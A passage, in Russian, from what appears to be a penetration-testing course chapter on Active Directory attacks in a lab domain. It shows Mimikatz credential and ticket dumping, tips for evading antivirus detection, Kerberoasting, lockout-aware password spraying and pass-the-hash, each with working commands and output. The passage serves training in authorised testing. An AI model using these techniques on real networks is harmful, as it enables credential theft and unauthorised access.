serviceprincipalname         {HTTP/CorpWebServer.corp.com}
distinguishedname             {CN=iis_service,OU=ServiceAccounts,OU=CorpUsers,DC=corp,DC=com
objectclass                 {top, person, organizationalPerson, user}
usncreated                     {12919}
lastlogontimestamp             {131624773644330799}
adspath                     {LDAP://CN=iis_service,OU=ServiceAccounts,OU=CorpUsers,DC=corp,DC=com}
...
Листинг 27 - Результаты поиска service principal name

Согласно результату поиска атрибут с именем *samaccountname* имеет значение *iis_service*, что указывает на наличие веб-сервера, а *serviceprincipalname* содержит значение *HTTP/CorpWebServer.corp.com*. Все это указывает подтверждает присутствие веб-сервера.

Давайте попробуем найти IP адрес сайта “CorpWebServer.corp.com” с помощью `nslookup`:

Код:
PS C:\Users\offsec.CORP> nslookup CorpWebServer.corp.com
Server: UnKnown
Address: 192.168.1.110

Name: corpwebserver.corp.com
Address: 192.168.1.110
Листинг 28 - Определение IP адреса записи serviceprincipalname

Из результатов ясно, что имя хоста разрешается во внутренний IP-адрес, а именно в IP-адрес контроллера домена.

Если мы откроем данный IP адрес в браузере, мы увидим страницу по умолчанию IIS сервера, как показано на Рисунке 2.

enumeration_through_service_principal_names.png

Рисунок 2: Веб Сервер IIS по адресу CorpWebServer.corp.com

Несмотря на то, что контроллер домена обычно не размещает веб-сервер, студенческая лаборатория полна сюрпризов.

Хотя сбор информации об именах основных служб не определяет программного обеспечения или версии веб-сервера, он сужает поиск и предоставляет информацию для ручного поиска или сканирования определенных портов.

Аутентификация в Active Directory

Теперь, когда мы нашли учетные записи пользователей, их группы и зарегистрированные SPN, давайте попробуем использовать эту информацию для компрометации Active Directory.

Для этого мы сначала рассмотрим детали аутентификации в Active Directory.

Active Directory поддерживает несколько протоколов и механизмов аутентификации и реализует аутентификацию как на компьютерах под управлением Windows, так и на компьютерах под управлением Linux и MacOS.

Active Directory поддерживает несколько старых протоколов, включая Хотя они могут быть полезны для работы со старыми операционными системами, такими как Windows 7 или Windows Server 2008 R2, в этом разделе мы остановимся только на более современных протоколах аутентификации.

Active Directory использует либо , либо протоколы для большинства запросов аутентификации. Сначала мы обсудим более простой протокол NTLM.

NTLM Аутентификация

NTLM аутентификация используется в том случае, когда клиент аутентифицируется на сервере, используя , или если пользователь пытается аутентифицироваться по имени хоста, которое не зарегистрировано на встроенном DNS-сервере Active Directory. Аналогичным образом, приложения сторонних производителей могут использовать NTLM-аутентификацию вместо Kerberos-аутентификации.

Протокол NTLM аутентификации состоит из семи шагов, как показано на Рисунке 3 и подробно объяснен ниже.

ntlm_authentication_figure_309.png

Рисунок 3: Схема NTLM аутентификации в Active Directory

На первом этапе аутентификации компьютер вычисляет криптографический хэш, называемый NTLM хэшем, из пароля пользователя. Затем клиентский компьютер посылает серверу имя пользователя, которое возвращает случайное значение, называемое nonce или challenge. Затем клиент шифрует nonce, используя NTLM хэш, теперь известный как ответ (response), и посылает его серверу.

Сервер пересылает ответ (response) вместе с именем пользователя и nonce на контроллер домена. Затем проверка выполняется контроллером домена, поскольку он уже знает NTLM хэш всех пользователей. Контроллер домена шифрует сам запрос с помощью NTLM хэша имени пользователя и сравнивает его с ответом, полученным от сервера. Если они равны, то запрос на аутентификацию является успешным.

Как и любой другой хэш, NTLM не может быть преобразован обратно в пароль пользователя. Тем не менее, это считается "fast-hashing" криптографическим алгоритмом (быстро подбираемым), так как короткие пароли .

Используя программное обеспечение для взлома, такое как Hashcat с первоклассными графическими процессорами, можно протестировать более 600 миллиардов NTLM хэшей каждую секунду. Это означает, что все восьмисимвольные пароли могут быть протестированы в течение 2,5 часов, а все девятисимвольные - в течение 11 дней.

Далее мы рассмортрим Kerberos, который является протоколом аутентификации по умолчанию в Active Directory и для связанных с ним служб.

Kerberos Аутентификация

Протокол аутентификации Kerberos, используемый Microsoft, взят из протокола аутентификации Kerberos версии 5, созданного MIT, и используется в качестве основного механизма аутентификации Microsoft начиная с Windows Server 2003. В то время как NTLM-аутентификация работает по принципу "вызов и ответ", Kerberos-аутентификация на базе Windows использует систему тикетов (ticket).

На верхнем уровне аутентификация клиента Kerberos на службе в Active Directory включает использование контроллера домена в роли центра распределения ключей, или . Этот процесс показан на рисунке 4.

kerberos_authentication_figure_310.png

Рисунок 4: Схема аутентификации Kerberos

Давайте подробно рассмотрим этот процесс, чтобы заложить основу для дальнейшего обсуждения.

Например, когда пользователь входит на свою рабочую станцию, запрос посылается на контроллер домена, который выполняет роль KDC и обслуживает службу Authentication Server. Этот аутентификационный запрос сервера (Authentication Server Request или AS_REQ) содержит с помощью хэша, полученного от пароля пользователя и имени пользователя.

Когда контроллер домена (DC) получает запрос, он ищет хэш-значение пароля, связанного с конкретным пользователем и пытается расшифровать временную метку. Если процесс расшифровки прошел успешно и метка времени не является дубликатом (возможная атака на воспроизведение - replay attack), аутентификация считается успешной.

Контроллер домена отвечает клиенту ответом сервера аутентификации (Authentication Server Reply - AS_REP) который содержит ключ сеанса (поскольку Керберос stateless) и Ticket Granting Ticket (TGT). Сеансовый ключ шифруется с использованием хэша пароля пользователя и может быть расшифрован клиентом и использован повторно.

TGT содержит информацию о пользователе, включая членство в группе(ах), домене, метке времени, IP-адрес клиента и ключ сеанса. Чтобы избежать взлома, Ticket Granting Ticket шифруется секретным ключом, известным только KDC и не может быть расшифрован клиентом. После получения клиентом сеансового ключа и TGT, KDC считает проверку подлинности клиента завершенной. По умолчанию TGT будет действителен 10 часов, после чего происходит обновление. Данное обновление не требует от пользователя повторного ввода пароля.

Когда пользователь хочет получить доступ к ресурсам домена, таким как сетевой ресурс, почтовый ящик Exchange, или какое-либо другое приложение с registered service principal name, он должен снова связаться с KDC.

На этот раз клиент формирует Ticket Granting Service Request (или TGS_REQ) packet, который состоит из следующих элементов: текущего пользователя и временной метки (зашифрованных с помощью сеансового ключа), SPN ресурса, и зашифрованный TGT.

Далее, служба выдачи билетов на KDC получает TGS_REQ, и если SPN существует в домене, TGT расшифровывается с помощью секретного ключа, известного только KDC. Ключ сеанса в этом случае извлекается из TGT и используется для расшифровки имени пользователя и временной метки запроса. На данном этапе KDC проводит несколько проверок:

1. У TGT должна быть действительная временная метка (replay attack не обнаружена, и срок действия запроса не истек).
2. Имя пользователя из TGS_REQ должно совпадать с именем пользователя из TGT.
3. IP адрес клиента должен совпадать с IP адресом TGT.

Если процесс проверки прошел успешно, служба выдачи тикетов отвечает клиенту Ticket Granting Server Reply или TGS_REP. Этот пакет состоит из трех частей:

1. SPN, к которой был предоставлен доступ.
2. Ключ сеанса, который будет использоваться между клиентом и SPN.
3. Сервисный тикет, содержащий имя пользователя и членство в группе вместе с новым ключом сеанса.

Первые две части (SPN и сеансовый ключ) шифруются с помощью сеансового ключа, связанного с созданием TGT, а сервисный тикет шифруется с помощью хэша пароля учетной записи сервиса, зарегистрированной в данном SPN.

Когда процесс аутентификации KDC завершен и у клиента есть и ключ сеанса, и сервисный тикет, начинается процесс сервисной аутентификации.

Сначала клиент посылает на сервер приложения запрос приложения (application request) или AP_REQ, который включает имя пользователя и временную метку, зашифрованную сеансовым ключом, связанным с тикетом сервиса, вместе с самим тикетом сервиса.

Сервер приложения расшифровывает сервисный тикет с помощью хэша пароля учетной записи службы и извлекает имя пользователя и сеансоввый ключ. Затем он использует полученый сеансовый ключ для расшифровки имени пользователя из AP_REQ. Если имя пользователя AP_REQ совпадает с именем пользователя, расшифрованным из сервисного тикета, то запрос принимается. Перед предоставлением доступа сервис проверяет членство в группе в сервисном тикете и наличие соответствующих разрешений у пользователя, после чего пользователь может получить доступ к запрашиваемому сервису.

Этот протокол может показаться сложным и, возможно, даже запутанным, но он был разработан для предотвращения различных сетевых атак и использования поддельных учетных данных.

Теперь, когда мы изучили основы NTLM и Kerberos аутентификации, давайте рассмотрим различные атаки на хранилище кэшированных учетных записей и служебные учетные записи.

Хранилище кешированных учетных записей и получение доступа к ним

Перед тем, как приступать к атакам на хранилище кэшированных учетных записей, мы должны рассмотреть различные хэши паролей, используемые Kerberos, и показать, как они хранятся.

Поскольку реализация Kerberos от Microsoft использует единую регистрацию, хэши паролей должны где-то храниться, чтобы обновлять TGT запрос. В текущих версиях Windows эти хэши службы .

Если мы получим доступ к этим хэшам, мы сможем взломать их, чтобы получить пароль, или повторно использовать для выполнения различных действий.

Хотя это и является конечной целью нашей атаки на AD, процесс не так прост, как кажется. Поскольку процесс LSASS является частью операционной системы и работает как SYSTEM, нам нужны права SYSTEM (или локального администратора) для получения доступа к хэшам, хранящимся на целевом компьютере.

Поэтому, для того, чтобы получить хэши, нам часто приходится начинать нашу атаку с повышения привилегий. Что еще более усложняет задачу, так это отсутствие описания структуры данных, используемой для хранения хэшей в памяти, а также её шифрование с помощью ключа, хранящегося в LSASS.

Тем не менее, поскольку это огромный вектор атаки на Windows и Active Directory, было создано несколько инструментов для извлечения хэшей, самым популярным из которых является Mimikatz.

Давайте попробуем использовать Mimikatz для извлечения хэшей в нашей системе Windows 10.

В следующем примере мы запустим Mimikatz как отдельное приложение. Однако, в связи с большой популярностью Mimikatz, её сигнатура хорошо известна, подумайте о том, как избежать её использование в качестве самостоятельного приложения. Например, запускайте Mimikatz непосредственно из памяти, используя инжектор типа PowerShell или используйте встроенный инструмент Task Manager, чтобы сдампить всю LSASS-память процесса, переместить эти данные на свой компьютер, и оттуда .

Поскольку пользователь домена Offsec является локальным администратором, мы можем запустить командную строку с повышенными привилегиями. Из этой командной строки мы запустим mimikatz и введем privilege::debug для задействования привилегии , которая позволит нам взаимодействовать с процессом, принадлежащим другой учетной записи.

Теперь мы запустим sekurlsa::logonpasswords, чтобы с помощью модуля Sekurlsa сдампить учетные данные всех зарегистрированных пользователей.

Мы должны выгрузить хэши всех пользователей, залогиненых на текущей рабочей станции или сервере, включая удаленные логины, такие как сеансы Remote Desktop.

Код:
C:\Tools\active_directory> mimikatz.exe

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # sekurlsa::logonpasswords
Authentication Id : 0 ; 291668 (00000000:00047354)
Session : Interactive from 1
User Name : Offsec
Domain : CORP
Logon Server : DC01
Logon Time : 08/02/2018 14.23.26
SID : S-1-5-21-1602875587-2787523311-2599479668-1103
msv :
[00000003] Primary
\* Username : Offsec
\* Domain : CORP
\* NTLM : e2b475c11da2a0748290d87aa966c327
\* SHA1 : 8c77f430e4ab8acb10ead387d64011c76400d26e
\* DPAPI : 162d313bede93b0a2e72a030ec9210f0
tspkg :
wdigest :
\* Username : Offsec
\* Domain : CORP
\* Password : (null)
kerberos :
\* Username : Offsec
\* Domain : CORP.COM
\* Password : (null)
...
Листинг 29 - Выполнение mimikatz на доменной рабочей станции

Во фрагменте вывода выше показана вся информация об учетных данных, хранящихся в LSASS для пользователя домена Offsec, включая кэшированные хэши

Обратите внимание, что у нас есть два типа хэшей, выделенных в выводе выше. Они будут отличаться в зависимости от функционального уровня реализации AD. Для экземпляров AD на Windows 2003, NTLM является единственным доступным алгоритмом хэширования. Для экземпляров под управлением Windows Server 2008 или более поздней версии могут быть доступны как NTLM, так и SHA-1 (хэш-функция для AES шифрования). На старых операционных системах, таких как Windows 7, или операционных системах, на которых он установлен вручную, будет включен. Когда WDigest включен, при запуске Mimikatz будет показан пароль в открытом виде вместе с хэшами паролей.

Вооружившись этими хэшами, мы можем попытаться взломать их и получить пароль в чистом виде.

Другой подход в использовании Mimikatz заключается в эксплуатации аутентификации Kerberos путем подмены TGT и service tickets. Как мы знаем, Kerberos TGT и service tickets для залогиненых пользователей хранятся на локальной машине для дальнейшего использования. Эти тикеты также хранятся в LSASS и мы можем использовать Mimikatz для запроса и получения собственных тикетов и тикетов для других локальных пользователей.
Например, в Листинге 30, мы используем Mimikatz, чтобы получить тикеты пользователя Offsec, которые хранятся в памяти:

Код:
mimikatz # sekurlsa::tickets

Authentication Id : 0 ; 291668 (00000000:00047354)
Session           : Interactive from 1
User Name         : Offsec
Domain            : CORP
Logon Server      : DC01
Logon Time        : 08/02/2018 14.23.26
SID               : S-1-5-21-1602875587-2787523311-2599479668-1103

 * Username : Offsec
 * Domain   : CORP.COM
 * Password : (null)

Group 0 - Ticket Granting Service
 [00000000]
   Start/End/MaxRenew: 09/02/2018 14.41.47 ; 10/02/2018 00.41.47 ; 16/02/2018 14.41.47
   Service Name (02) : cifs ; dc01 ; @ CORP.COM
   Target Name (02) : cifs ; dc01 ; @ CORP.COM
   Client Name (01) : Offsec ; @ CORP.COM
   Flags 40a50000 : name_canonicalize ; ok_as_delegate ; pre_authent ; renewable ;
   Session Key : 0x00000012 - aes256_hmac d062a1b8c909544a7130652fd4bae4c04833c3324aa2eb1d051816a7090a0718
   Ticket : 0x00000012 - aes256_hmac ; kvno = 3 [...]

Group 1 - Client Ticket ?

Group 2 - Ticket Granting Ticket
 [00000000]
   Start/End/MaxRenew: 09/02/2018 14.41.47 ; 10/02/2018 00.41.47 ; 16/02/2018 14.41.47
   Service Name (02) : krbtgt ; CORP.COM ; @ CORP.COM
   Target Name (--) : @ CORP.COM
   Client Name (01) : Offsec ; @ CORP.COM ( $$Delegation Ticket$$ )
   Flags 60a10000 : name_canonicalize ; pre_authent ; renewable ; forwarded ; forwa
   Session Key : 0x00000012 - aes256_hmac 3b0a49af17a1ada1dacf2e3b8964ad397d80270b71718cc567da4d4b2b6dc90d
   Ticket : 0x00000012 - aes256_hmac ; kvno = 2 [...]
 [00000001]
   Start/End/MaxRenew: 09/02/2018 14.41.47 ; 10/02/2018 00.41.47 ; 16/02/2018 14.41.47
   Service Name (02) : krbtgt ; CORP.COM ; @ CORP.COM
   Target Name (02) : krbtgt ; CORP.COM ; @ CORP.COM
   Client Name (01) : Offsec ; @ CORP.COM ( CORP.COM )
   Flags 40e10000 : name_canonicalize ; pre_authent ; initial ; renewable ; forward
   Session Key : 0x00000012 - aes256_hmac 8f6e96a7067a86d94af4e9f46e0e2abd067422fe7b1588db37c199f5691a749c
   Ticket : 0x00000012 - aes256_hmac ; kvno = 2 [...]
...
Листинг 30 - Получение тикетов Kerberos с помощью mimikatz

В выводе отображаются как TGT, так и TGS. Украв TGS, мы получим доступ только к определенным ресурсам, связанным с этими тикетами. С другой стороны, вооружившись тикетами TGT, мы можем запросить TGS для определенных ресурсов, доступ к которым мы хотим получить. Мы обсудим, как использовать украденные или поддельные тикеты позже.

В дополнение к этим функциям Mimikatz может экспортировать тикеты на жёсткий диск и импортировать тикеты в LSASS. Mimikatz может даже извлекать информацию, связанную с аутентификацией, выполняемой через смарт-карту и PIN-код, что делает этот инструмент настоящим "швейцарским армейским ножом" для кэшированных учетных данных!

Атака на сервисные аккаунты

Вспоминая описание протокола Kerberos, мы видим, что когда пользователь хочет получить доступ к ресурсу, расположенному на SPN, клиент запрашивает сервисный тикет, который генерируется контроллером домена. Затем сервисный тикет расшифровывается и проверяется сервером приложений, поскольку он зашифровывается с помощью хэша пароля SPN.

При запросе тикета службы с контроллера домена не выполняется проверка того, имеет ли пользователь какие-либо разрешения на доступ к службе, расположенной под основным именем службы. Эти проверки выполняются в качестве второго шага только при подключении к самой службе. Это означает, что если мы знаем SPN, доступ к которому хотим получить, мы можем запросить для него тикет службы с контроллера домена. Затем, поскольку это наш собственный тикет, мы можем извлечь его из локальной памяти и сохранить на диск.

В этом разделе мы подделаем тикет службы и попытаемся взломать пароль учетной записи службы.

Например, мы знаем, что зарегистрированным SPN для веб-сервера Internet Information Services в домене является HTTP/CorpWebServer.corp.com. Из PowerShell мы можем использовать класс для .

Необходимый нам сегмент кода находится внутри пространства имен , которое по умолчанию не загружается в экземпляр PowerShell. Для его загрузки мы используем команду с аргументом - AssemblyName.

Мы можем вызвать конструктор KerberosRequestorSecurityToken, указав SPN с опцией - ArgumentList, как показано в Листинге 31.

Код:
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList 'HTTP/CorpWebServer.corp.com'

Листинг 31 - Запрос сервисного тикета

После выполнения, запрашиваемый тикет службы должен быть сгенерирован контроллером домена и загружен в память клиента Windows 10. Вместо постоянного выполнения Mimikatz, мы также можем использовать встроенную команду для отображения всех кэшированных тикетов Kerberos для текущего пользователя:

Код:
PS C:\Users\offsec.CORP> klist

Current LogonId is 0:0x3dedf

Cached Tickets: (4)

#0> Client: Offsec @ CORP.COM
Server: krbtgt/CORP.COM @ CORP.COM
KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
Ticket Flags 0x40e10000 -> forwardable renewable initial pre_authent name_canonicaliz
Start Time: 2/12/2018 10:17:53 (local)
End Time:   2/12/2018 20:17:53 (local)
Renew Time: 2/19/2018 10:17:53 (local)
Session Key Type: AES-256-CTS-HMAC-SHA1-96
Cache Flags: 0x1 -> PRIMARY
Kdc Called: DC01.corp.com

#1> Client: Offsec @ CORP.COM
Server: HTTP/CorpWebServer.corp.com @ CORP.COM
KerbTicket Encryption Type: RSADSI RC4-HMAC(NT)
Ticket Flags 0x40a50000 -> forwardable renewable pre_authent ok_as_delegate name_cano
Start Time: 2/12/2018 10:18:31 (local)
End Time:   2/12/2018 20:17:53 (local)
Renew Time: 2/19/2018 10:17:53 (local)
Session Key Type: RSADSI RC4-HMAC(NT)
Cache Flags: 0
Kdc Called: DC01.corp.com

Листинг 32 - Отображение тикетов

При создании сервисного тикета для Internet Information Services создается и сохраняется в памяти основное имя сервиса (Листинг 32), которое мы можем , либо Mimikatz.

Для скачивания сервисного тикета с помощью Mimikatz мы используем команду kerberos::list, которая дает вывод аналогичный команде klist выше. Мы также указываем флаг /export для записи на диск, как показано на Листинге 33.

Код:
mimikatz # kerberos::list /export

[00000000] - 0x00000012 - aes256_hmac
   Start/End/MaxRenew: 12/02/2018 10.17.53 ; 12/02/2018 20.17.53 ; 19/02/2018 10.17.53
   Server Name       : krbtgt/CORP.COM @ CORP.COM
   Client Name       : Offsec @ CORP.COM
   Flags 40e10000    : name_canonicalize ; pre_authent ; initial ; renewable ; forward
   \* Saved to file     : 0-40e10000-Offsec@krbtgt~CORP.COM-CORP.COM.kirbi

[00000001] - 0x00000017 - rc4_hmac_nt
   Start/End/MaxRenew: 12/02/2018 10.18.31 ; 12/02/2018 20.17.53 ; 19/02/2018 10.17.53
   Server Name       : HTTP/CorpWebServer.corp.com @ CORP.COM
   Client Name       : Offsec @ CORP.COM
   Flags 40a50000    : name_canonicalize ; ok_as_delegate ; pre_authent ; renewable ;
   \* Saved to file     : 1-40a50000-offsec@HTTP~CorpWebServer.corp.com-CORP.COM.kirbi

Листинг 33 - Экспорт тикетов из памяти

Согласно протоколу Kerberos, сервисный тикет шифруется с помощью хэша пароля SPN. Если мы сможем запросить тикет и расшифровать его с помощью брутфорса или угадывания (в технике, известной как Kerberoasting), мы будем знать хэш пароля, и далее мы можем взломать пароль учетной записи службы. В качестве дополнительного бонуса, нам не нужны административные привилегии для этой атаки.

Давайте попробуем. Для выполнения атаки по словарю необходимо сначала установить пакет kerberoast с apt, а затем запустить tgsrepcrack.py, снабдив его словарным списком и загруженным служебным тикетом:

Обратите внимание, что файл сервисного тикета является двоичным. Имейте это в виду при передаче его с помощью такого инструмента, как Netcat, который может искажать его во время передачи.

Код:
kali@kali:~$ sudo apt update && sudo apt install kerberoast
...
kali@kali:~$ python /usr/share/kerberoast/tgsrepcrack.py wordlist.txt 1-40a50000-Offsec@HTTP~CorpWebServer.corp.com-CORP.COM.kirbi
found password for ticket 0: Qwerty09! File: 1-40a50000-Offsec@HTTP~CorpWebServer.corp.com-CORP.COM.kirbi
All tickets cracked!
Листинг 34 - Взлом тикета

В данном примере мы успешно взломали сервисный тикет и получили пароль к учетной записи.

Эта методика может быть очень продуктивной, если в домене есть высокопривилегированные служебные учетные записи со слабыми паролями, что не редкость для многих организаций. Однако, если стандартные или групповые служебные учетные записи используются для конкретного SPN, то пароль будет сгенерирован случайным образом, сложным и длиной 120 символов, что делает взлом невозможным.

Хотя этот пример основан на сценарии kerberoast `tgsrepcrack.py`, мы также могли бы использовать John the Ripper и Hashcat для использования возможностей и скорости этих инструментов.

Скрипт Invoke-Kerberoast.ps1 расширяет эту атаку и может автоматически собрать все основные имена сервисов в домене, запросить для них сервисные тикеты и экспортировать их в формате, готовом для взлома как в John the Ripper, так и в Hashcat, полностью исключая необходимость использования Mimikatz в этой атаке.

"Медленный и печальный" подбор пароля

В предыдущем разделе мы рассмотрели, как учетные записи служб могут быть атакованы путем использования функций протокола Kerberos, но Active Directory также может предоставить нам информацию, которая может привести к более продвинутой методике подбора паролей учетных записей пользователей.

При выполнении brute-force атаки или аутентификации перебором по словарю мы должны помнить о блокировке учетных записей, поскольку слишком большое количество неудачных входов может заблокировать учетную запись для дальнейших атак и, возможно, предупредить системных администраторов.

В этом разделе мы будем использовать LDAP и ADSI для выполнения "Low and Slow" атаки на пароли пользователей AD без срабатывания блокировки учетной записи.

Для начала давайте рассмотрим политику учетных записей домена с `net accounts`

Код:
PS C:\Users\Offsec.corp> net accounts
Force user logoff how long after time expires?:     Never
Minimum password age (days):                        0
Maximum password age (days):                        42
Minimum password length:                            0
Length of password history maintained:              None
Lockout threshold:                                  5
Lockout duration (minutes):                         30
Lockout observation window (minutes):               30
Computer role:                                      WORKSTATION
The command completed successfully.
Листинг 35 - Результат выполнения команды net accounts

Здесь много полезной информации, но давайте сначала остановимся на "Пороге блокировки" (“Lockout threshold”), который указывает на ограничение в пять попыток входа до блокировки. Это означает, что мы можем безопасно попробовать четыре входа без срабатывания блокировки. Не так уж и много, но обратите внимание на *Lockout observation
window*, которое указывает, что каждые тридцать минут после последней попытки входа мы получаем дополнительную "свободную" попытку входа.

С учетом этих настроек мы можем попробовать пятьдесят два входа в систему в течение суток для каждого пользователя домена без срабатывания блокировки, предполагая, что действительные пользователи не провалят свою попытку входа.

Подобная атака позволила бы нам составить короткий список очень часто используемых паролей и использовать его против огромного количества пользователей, что на практике выявляет довольно много слабых паролей учетных записей в организации.

Зная это, давайте реализуем данную атаку.

Существует несколько способов проверки входа пользователя в AD, но мы можем использовать наш PowerShell скрипт для демонстрации основ. В предыдущих разделах мы выполняли запросы к контроллеру домена в качестве пользователя, вошедшего в систему. Однако мы также можем делать запросы в контексте другого пользователя, установив параметр *DirectoryEntry*.

В предыдущих примерах мы использовали конструктор *DirectoryEntry* без аргументов, но мы можем предоставить три аргумента, включая LDAP путь к контроллеру домена, а также имя пользователя и пароль:

Код:
$domainObj = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()

$PDC = ($domainObj.PdcRoleOwner).Name

$SearchString = "LDAP://"
$SearchString += $PDC + "/"

$DistinguishedName = "DC=$($domainObj.Name.Replace('.', ',DC='))"

$SearchString += $DistinguishedName

New-Object System.DirectoryServices.DirectoryEntry($SearchString, "jeff_admin", "Qwerty09!")
Листинг 36 - Аутентификация с использованием DirectoryEntry

Если пароль для учетной записи пользователя правильный, то создание объекта будет успешным, как показано в Листинге 37.

Код:
distinguishedName : {DC=corp,DC=com}
Path : LDAP://DC01.corp.com/DC=corp,DC=com

Листинг 37 - Успешная аутентификация с DirectoryEntry

Если пароль недействителен, объект не будет создан, и мы получим исключение, как показано в Листинге 38. Обратите внимание на прямое предупреждение о том, что имя пользователя или пароль неверны.

Код:
format-default : The following exception occurred while retrieving member "distinguish
edName": "The user name or password is incorrect.
"
  + CategoryInfo : NotSpecified: (:) [format-default], ExtendedTypeSystemExce
  + FullyQualifiedErrorId : CatchFromBaseGetMember,Microsoft.PowerShell.Commands.Forma
Листинг 38 - Использование неправильного пароля с DirectoryEntry

Таким образом, мы можем создать сценарий PowerShell, который будет перебирать всех пользователей и выполнять следующие действия аутентификации согласно Lockout threshold и Lockout observation window.

Существующая реализация этой атаки под названием Spray-Passwords.ps1 находится в папке C:\Tools\active_directory вашей виртайльной машины Windows 10.

Опция -Pass позволяет нам задать один пароль для тестирования, или же мы можем отправить файл словаря с -File. Также мы можем протестировать учетные записи администраторов с добавлением флага -Admin.

Код:
PS C:\Tools\active_directory> .\Spray-Passwords.ps1 -Pass Qwerty09! -Admin
WARNING: also targeting admin accounts.
Performing brute force - press [q] to stop the process and print results...
Guessed password for user: 'Administrator' = 'Qwerty09!'
Guessed password for user: 'offsec' = 'Qwerty09!'
Guessed password for user: 'adam' = 'Qwerty09!'
Guessed password for user: 'iis_service' = 'Qwerty09!'
Guessed password for user: 'sql_service' = 'Qwerty09!'
Stopping bruteforce now....
Users guessed are:
 'Administrator' with password: 'Qwerty09!'
 'offsec' with password: 'Qwerty09!'
 'adam' with password: 'Qwerty09!'
 'iis_service' with password: 'Qwerty09!'
 'sql_service' with password: 'Qwerty09!'
Листинг 39 - Использование Spray-Passwords для атаки на учетные записи пользователей

Этот простой пример дает быстрый результат, но чаще всего нам придется использовать словарь с хорошими кандидатами на пароль.

Мы рассмотрели способы получения учетных данных пользователей и служб при атаке на Active Directory и ее протоколы аутентификации. Далее мы можем использовать этот способ для компрометации других компьютеров в домене, в идеале тех, у которых есть пользователи с административными правами в системе.

Техника бокового смещения в Active Directory

В предыдущих главах мы обнаружили важные цели (аккаунты), которые могут привести к полной компрометации Active Directory, и обнаружили рабочие станции или серверы, на которые эти цели вошли. Мы собрали хеши паролей, восстановили существующие тикеты и использовали их для аутентификации Kerberos.

Теперь мы используем lateral movement для компрометации машин, на которые вошли наши цели.

По логике следующим шагом в нашем подходе будет взлом любых хэшей паролей, которые мы получили, и аутентификация на компьютере с этими паролями для получения несанкционированного доступа. Однако взлом паролей занимает время и может быть неуспешным. Кроме того, Kerberos и NTLM не используют пароли в открытом виде напрямую, а родные инструменты от Microsoft не поддерживают аутентификацию с использованием хэша пароля.

В следующем разделе мы рассмотрим альтернативную технику lateral movement, которая позволит нам аутентифицироваться в системе и получить выполнение кода, используя только хэш пользователя или тикет Kerberos.

Аутентификация с помощью хэша

Техника Pass the Hash (PtH) позволяет злоумышленнику аутентифицироваться на удаленной системе или сервисе, используя NTLM хэш пользователя вместо связанного с ним пароля в обычном виде. Обратите внимание, что это будет работать не для Kerberos-аутентификации, а только для сервера или сервиса, использующего NTLM-аутентификацию.

Многие сторонние инструменты и фреймворки используют PtH, чтобы позволить пользователям как аутентифицироваться, так и получить выполнение кода, включая , Passing-the-hash toolkit и . Механика, стоящая за ними, более или менее одинакова в том, что атакующий соединяется с жертвой с помощью протокола Server Message Block (SMB) и выполняет .

Большинство инструментов, созданных для использования PtH, создают и запускают службу Windows (например, `cmd.exe` или экземпляр PowerShell) и взаимодействуют с ней с помощью . Это делается с помощью диспетчера API.

Эта техника требует соединения SMB через брандмауэр (обычно порт 445), а также включения функции общего доступа к файлам и печати Windows File and Print Sharing (Совместный доступ к файлам и печати). Эти требования распространены во внутренних корпоративных средах.

При выполнении соединения обычно используется специальный администраторский ресурс под названием __Admin$__. Чтобы установить соединение с этим ресурсом, злоумышленник должен предоставить действительные учетные данные с правами локального администратора. Другими словами, такой тип lateral movement обычно требует прав локального администратора.

Обратите внимание, что PtH законно использует NTLM хэш. Однако уязвимость заключается в том, что мы получили несанкционированный доступ к хэшу пароля локального администратора.

Для демонстрации этого можно использовать pth-winexe из инструментария Passing-The-Hash, точно так же, как мы это делали, когда передавали хэш пользователю, не входящему в домен, в модуле Password Attacks:

Код:
kali@kali:~$ pth-winexe -U offsec%aad3b435b51404eeaad3b435b51404ee:2892d26cdf84d7a70e2eb3b9f05c425e //10.11.0.22 cmd
E_md4hash wrapper called.
HASH PASS: Substituting user supplied NTLM HASH...
Microsoft Windows [Version 10.0.16299.309]
(c) 2017 Microsoft Corporation. All rights reserved.

C:\Windows\system32>
Листинг 40 - Вход по хэшу с использованием pth-winexe

В этом случае мы использовали NTLM-аутентификацию для получения выполнения кода на клиенте Windows 10 непосредственно из нашего Kali Linux, имея только NTLM-хэш пользователя.

Этот метод работает для учетных записей домена Active Directory и встроенной учетной записи локального администратора. , этот метод не может быть использован для аутентификации в качестве любой другой учетной записи локального администратора.

Overpass the Hash

С мы можем использовать NTLM хэш пользователя, чтобы получить полный Kerberos Ticket Granting Ticket (TGT) или сервисный тикет, который дает нам доступ к другой машине или услуге в качестве этого пользователя.

Чтобы продемонстрировать это, предположим, что мы скомпрометировали рабочую станцию (или сервер), на которой пользователь Jeff_Admin прошел аутентификацию, и эта машина теперь кэширует его учетные данные (и, следовательно, хэш пароля NTLM).

Чтобы симулировать эти кэшированные учетные данные, мы войдем на машину Windows 10 под пользователем Offsec и запустим процесс от имени Jeff_Admin, который запрашивает аутентификацию.

Самый простой способ сделать это - нажать правой клавишей на значке Блокнота в панели задач и, нажав Shift + правую клавишу мыши, нажать на значке Блокнота во всплывающем окне, в результате чего появятся опции, показанные на рисунке 5.

overpass_the_hash_figure_311.png

Рисунок 5: Запуск Notepad от имени другого пользователя

Отсюда мы можем выбрать 'Run as different user' (Запустить от имени другого пользователя) и ввести "jeff_admin" в качестве имени пользователя вместе с соответствующим паролем, который запустит Блокнот в контексте этого пользователя. После успешной аутентификации учетные данные Jeff_Admin будут кэшироваться на этом компьютере.

Мы можем проверить это командой `sekurlsa::logonpasswords` из `mimikatz`, которая сдампит кэшированные хэши паролей.

Код:
mimikatz # sekurlsa::logonpasswords

Authentication Id : 0 ; 2815531 (00000000:002af62b)
Session           : Interactive from 0
User Name         : jeff_admin
Domain            : CORP
Logon Server      : DC01
Logon Time        : 12/02/2018 09.18.57
SID               : S-1-5-21-1602875587-2787523311-2599479668-1105
        msv :
         [00000003] Primary
         \* Username : jeff_admin
         \* Domain : CORP
         \* NTLM : e2b475c11da2a0748290d87aa966c327
         \* SHA1 : 8c77f430e4ab8acb10ead387d64011c76400d26e
         \* DPAPI : 2918ad3d4607728e28ccbd76eab494b9
        tspkg :
        wdigest :
         \* Username : jeff_admin
         \* Domain : CORP
         \* Password : (null)
        kerberos :
         \* Username : jeff_admin
         \* Domain : CORP.COM
         \* Password : (null)
...
